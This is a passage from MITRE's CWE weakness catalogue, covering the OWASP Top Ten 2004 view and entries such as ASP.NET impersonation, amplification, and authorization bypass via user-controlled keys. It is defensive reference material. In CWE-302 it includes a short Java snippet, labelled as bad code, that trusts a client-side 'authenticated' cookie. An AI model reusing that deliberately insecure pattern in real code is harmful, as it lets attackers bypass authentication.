The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.buffer overrunUnbounded Transfer
*Weakness ClassWeakness ClassImproper Restriction of Operations within the Bounds of a Memory Buffer - (119)
711 (Weaknesses in OWASP Top Ten (2004)) > 726 (OWASP Top Ten 2004 Category A5 - Buffer Overflows) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Memory Corruption
*Weakness BaseWeakness BaseUse of Externally-Controlled Format String - (134)
711 (Weaknesses in OWASP Top Ten (2004)) > 726 (OWASP Top Ten 2004 Category A5 - Buffer Overflows) > 134 (Use of Externally-Controlled Format String)
The software uses a function that accepts a format string as an argument, but the format string originates from an external source.
+CategoryCategoryOWASP Top Ten 2004 Category A6 - Injection Flaws - (727)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws)
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.
*Weakness BaseWeakness BaseImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - (98)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'))
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.Remote file includeRFILocal file inclusion
*Weakness BaseWeakness BaseImproper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - (95)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 95 (Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'))
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
*Weakness ClassWeakness ClassImproper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - (74)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'))
The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
*Weakness ClassWeakness ClassImproper Neutralization of Special Elements used in a Command ('Command Injection') - (77)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
*Weakness BaseWeakness BaseImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*Weakness BaseWeakness BaseImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
*Weakness BaseWeakness BaseImproper Output Neutralization for Logs - (117)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 117 (Improper Output Neutralization for Logs)
The software does not neutralize or incorrectly neutralizes output that is written to logs.
*Weakness BaseWeakness BaseXML Injection (aka Blind XPath Injection) - (91)
711 (Weaknesses in OWASP Top Ten (2004)) > 727 (OWASP Top Ten 2004 Category A6 - Injection Flaws) > 91 (XML Injection (aka Blind XPath Injection))
The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
+CategoryCategoryOWASP Top Ten 2004 Category A7 - Improper Error Handling - (728)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling)
Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.
*Weakness ClassWeakness ClassDetection of Error Condition Without Action - (390)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 390 (Detection of Error Condition Without Action)
The software detects a specific error, but takes no actions to handle the error.
*CategoryCategoryError Handling - (388)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 388 (Error Handling)
This category includes weaknesses that occur when an application does not properly handle errors that occur during processing.
*Weakness ClassWeakness ClassImproper Handling of Syntactically Invalid Structure - (228)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 228 (Improper Handling of Syntactically Invalid Structure)
The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.
*Weakness ClassWeakness ClassInformation Exposure Through Discrepancy - (203)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 203 (Information Exposure Through Discrepancy)
The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.
*Weakness BaseWeakness BaseInformation Exposure Through an Error Message - (209)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 209 (Information Exposure Through an Error Message)
The software generates an error message that includes sensitive information about its environment, users, or associated data.
*Weakness VariantWeakness VariantJ2EE Misconfiguration: Missing Custom Error Page - (7)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 7 (J2EE Misconfiguration: Missing Custom Error Page)
The default error page of a web application should not display sensitive information about the software system.
*Weakness ClassWeakness ClassNot Failing Securely ('Failing Open') - (636)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 636 (Not Failing Securely ('Failing Open'))
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.Failing Open
*Weakness BaseWeakness BaseUnchecked Error Condition - (391)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 391 (Unchecked Error Condition)
Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
*Weakness BaseWeakness BaseUnchecked Return Value - (252)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 252 (Unchecked Return Value)
The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
*Weakness BaseWeakness BaseUnexpected Status Code or Return Value - (394)
711 (Weaknesses in OWASP Top Ten (2004)) > 728 (OWASP Top Ten 2004 Category A7 - Improper Error Handling) > 394 (Unexpected Status Code or Return Value)
The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.
+CategoryCategoryOWASP Top Ten 2004 Category A8 - Insecure Storage - (729)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage)
Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.
*Weakness BaseWeakness BaseCompiler Removal of Code to Clear Buffers - (14)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 14 (Compiler Removal of Code to Clear Buffers)
Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."
*Weakness ClassWeakness ClassInadequate Encryption Strength - (326)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 326 (Inadequate Encryption Strength)
The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
*Weakness VariantWeakness VariantInformation Exposure Through Persistent Cookies - (539)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 539 (Information Exposure Through Persistent Cookies)
Persistent cookies are cookies that are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.
*Weakness VariantWeakness VariantInformation Exposure Through Query Strings in GET Request - (598)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 598 (Information Exposure Through Query Strings in GET Request)
The web application uses the GET method to process requests that contain sensitive information, which can expose that information through the browser's history, Referers, web logs, and other sources.
*Weakness BaseWeakness BaseMissing Encryption of Sensitive Data - (311)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 311 (Missing Encryption of Sensitive Data)
The software does not encrypt sensitive or critical information before storage or transmission.
*Weakness VariantWeakness VariantSensitive Data Storage in Improperly Locked Memory - (591)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 591 (Sensitive Data Storage in Improperly Locked Memory)
The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.
*Weakness BaseWeakness BaseSensitive Information Uncleared Before Release - (226)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 226 (Sensitive Information Uncleared Before Release)
The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.
*Weakness BaseWeakness BaseUse of Hard-coded Cryptographic Key - (321)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 321 (Use of Hard-coded Cryptographic Key)
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
*Weakness BaseWeakness BaseUse of a Broken or Risky Cryptographic Algorithm - (327)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.
*Weakness VariantWeakness VariantWeak Cryptography for Passwords - (261)
711 (Weaknesses in OWASP Top Ten (2004)) > 729 (OWASP Top Ten 2004 Category A8 - Insecure Storage) > 261 (Weak Cryptography for Passwords)
Obscuring a password with a trivial encoding does not protect the password.
+CategoryCategoryOWASP Top Ten 2004 Category A9 - Denial of Service - (730)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service)
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.
*Weakness ClassWeakness ClassAsymmetric Resource Consumption (Amplification) - (405)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 405 (Asymmetric Resource Consumption (Amplification))
Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.
*Weakness BaseWeakness BaseDivide By Zero - (369)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 369 (Divide By Zero)
The product divides a value by zero.
*Weakness BaseWeakness BaseImproper Null Termination - (170)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 170 (Improper Null Termination)
The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
*Weakness BaseWeakness BaseImproper Release of Memory Before Removing Last Reference ('Memory Leak') - (401)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 401 (Improper Release of Memory Before Removing Last Reference ('Memory Leak'))
The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.Memory Leak
*Weakness BaseWeakness BaseImproper Resource Shutdown or Release - (404)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 404 (Improper Resource Shutdown or Release)
The program does not release or incorrectly releases a resource before it is made available for re-use.
*Weakness BaseWeakness BaseInsufficient Resource Pool - (410)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 410 (Insufficient Resource Pool)
The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.
*Weakness VariantWeakness VariantJ2EE Bad Practices: Use of System.exit() - (382)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 382 (J2EE Bad Practices: Use of System.exit())
A J2EE application uses System.exit(), which also shuts down its container.
*Weakness BaseWeakness BaseNULL Pointer Dereference - (476)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 476 (NULL Pointer Dereference)
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
*Weakness BaseWeakness BaseUncaught Exception - (248)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 248 (Uncaught Exception)
An exception is thrown from a function, but it is not caught.
*Weakness BaseWeakness BaseUncontrolled Recursion - (674)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 674 (Uncontrolled Recursion)
The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.Stack Exhaustion
*Weakness BaseWeakness BaseUncontrolled Resource Consumption ('Resource Exhaustion') - (400)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 400 (Uncontrolled Resource Consumption ('Resource Exhaustion'))
The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.
*Weakness BaseWeakness BaseUnrestricted Externally Accessible Lock - (412)
711 (Weaknesses in OWASP Top Ten (2004)) > 730 (OWASP Top Ten 2004 Category A9 - Denial of Service) > 412 (Unrestricted Externally Accessible Lock)
The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.
+ Relationship Notes

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

+ References
"Top 10 2004". OWASP. 2004-01-27. <http://www.owasp.org/index.php/Top_10_2004>.
PCI Security Standards Council. "About the PCI Data Security Standard (PCI DSS)". <https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml>.
+ Maintenance Notes

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2008-08-15VeracodeExternal Submission
Suggested creation of view and provided mappings
+ View Metrics
CWEs in this viewTotal CWEs
Total126out of1006
Views0out of33
Categories15out of245
Weaknesses110out of720
Compound_Elements1out of8
View Components
View Components
A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE CATEGORY: ASP.NET Environment Issues

Category ID: 10
Status: Incomplete
+ Description

Description Summary

ASP.NET framework/language related environment issues with security implications.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory519.NET Environment Issues
Development Concepts (primary)699
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ParentOfWeakness VariantWeakness Variant11ASP.NET Misconfiguration: Creating Debug Binary
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant12ASP.NET Misconfiguration: Missing Custom Error Page
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant13ASP.NET Misconfiguration: Password in Configuration File
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant554ASP.NET Misconfiguration: Not Using Input Validation Framework
Development Concepts699
ParentOfWeakness VariantWeakness Variant556ASP.NET Misconfiguration: Use of Identity Impersonation
Development Concepts (primary)699
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID: 556
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

+ Time of Introduction
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Gain privileges / assume identity

+ Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory10ASP.NET Environment Issues
Development Concepts (primary)699
ChildOfWeakness BaseWeakness Base266Incorrect Privilege Assignment
Research Concepts (primary)1000
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory951SFP Secondary Cluster: Insecure Authentication Policy
Software Fault Pattern (SFP) Clusters (primary)888
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Anonymous Tool Vendor (under NDA)Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11ASP.NET Misconfiguration: Identity Impersonation

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID: 405
Abstraction: Class
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

+ Time of Introduction
  • Operation
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: amplification; DoS: resource consumption (other)

Sometimes this is a factor in "flood" attacks, but other types of amplification exist.

+ Potential Mitigations

Phase: Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Phase: Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory399Resource Management Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness ClassWeakness Class664Improper Control of a Resource Through its Lifetime
Research Concepts (primary)1000
ChildOfCategoryCategory730OWASP Top Ten 2004 Category A9 - Denial of Service
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory855CERT Java Secure Coding Section 10 - Thread Pools (TPS)
Weaknesses Addressed by the CERT Java Secure Coding Standard844
ChildOfCategoryCategory857CERT Java Secure Coding Section 12 - Input Output (FIO)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory977SFP Secondary Cluster: Design
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base406Insufficient Control of Network Message Volume (Network Amplification)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base407Algorithmic Complexity
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base408Incorrect Behavior Order: Early Amplification
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness BaseWeakness Base409Improper Handling of Highly Compressed Data (Data Amplification)
Development Concepts (primary)699
Research Concepts (primary)1000
PeerOfWeakness BaseWeakness Base404Improper Resource Shutdown or Release
Research Concepts1000
+ Functional Areas
  • Non-specific
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAsymmetric resource consumption (amplification)
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
WASC41XML Attribute Blowup
CERT Java Secure CodingTPS00-JUse thread pools to enable graceful degradation of service during traffic bursts
CERT Java Secure CodingFIO04-JRelease resources when they are no longer needed
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-07-27CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes
2010-02-16CWE Content TeamMITREInternal
updated Taxonomy_Mappings
2010-12-13CWE Content TeamMITREInternal
updated Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID: 302
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

+ Demonstrative Examples

Example 1

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

(Bad Code)
Example Language: Java 
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
...
}

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

+ Observed Examples
ReferenceDescription
DebPloit
Web auth
Authentication bypass by setting certain cookies to "true".
Authentication bypass by setting certain cookies to "true".
Admin access by setting a cookie.
Gain privileges by setting cookie.
Product trusts authentication information in cookie.
Authentication bypass by setting admin-testing variable to true.
Bypass auth and gain privileges by setting a variable.
+ Potential Mitigations

Phases: Architecture and Design; Operation; Implementation

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class287Improper Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness BaseWeakness Base807Reliance on Untrusted Inputs in a Security Decision
Research Concepts1000
ChildOfCategoryCategory859CERT Java Secure Coding Section 14 - Platform Security (SEC)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory949SFP Secondary Cluster: Faulty Endpoint Authentication
Software Fault Pattern (SFP) Clusters (primary)888
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT Java Secure CodingSEC02-JDo not base security checks on untrusted sources
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITREInternal
updated Relationships

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and read/modify their data.

+ Alternate Terms
Insecure Direct Object Reference:

The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Horizontal Authorization:

"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

Access control checks for specific user data or functionality can be bypassed.

Access Control

Technical Impact: Gain privileges / assume identity

Horizontal escalation of privilege is possible (one user can view/modify information of another user).

Access Control

Technical Impact: Gain privileges / assume identity

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.

+ Likelihood of Exploit

High

+ Enabling Factors for Exploitation

The key used internally in the system to identify the user record can be externally controlled. For example attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

+ Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phases: Architecture and Design; Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory840Business Logic Errors
Development Concepts699
ChildOfWeakness ClassWeakness Class862Missing Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory945SFP Secondary Cluster: Insecure Resource Access
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant566Authorization Bypass Through User-Controlled SQL Primary Key
Development Concepts (primary)699
Research Concepts (primary)1000
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2008-01-30Evgeny LebanidzeCigitalExternal Submission
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Type
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences
2010-06-21CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences
2013-07-17CWE Content TeamMITREInternal
updated Relationships
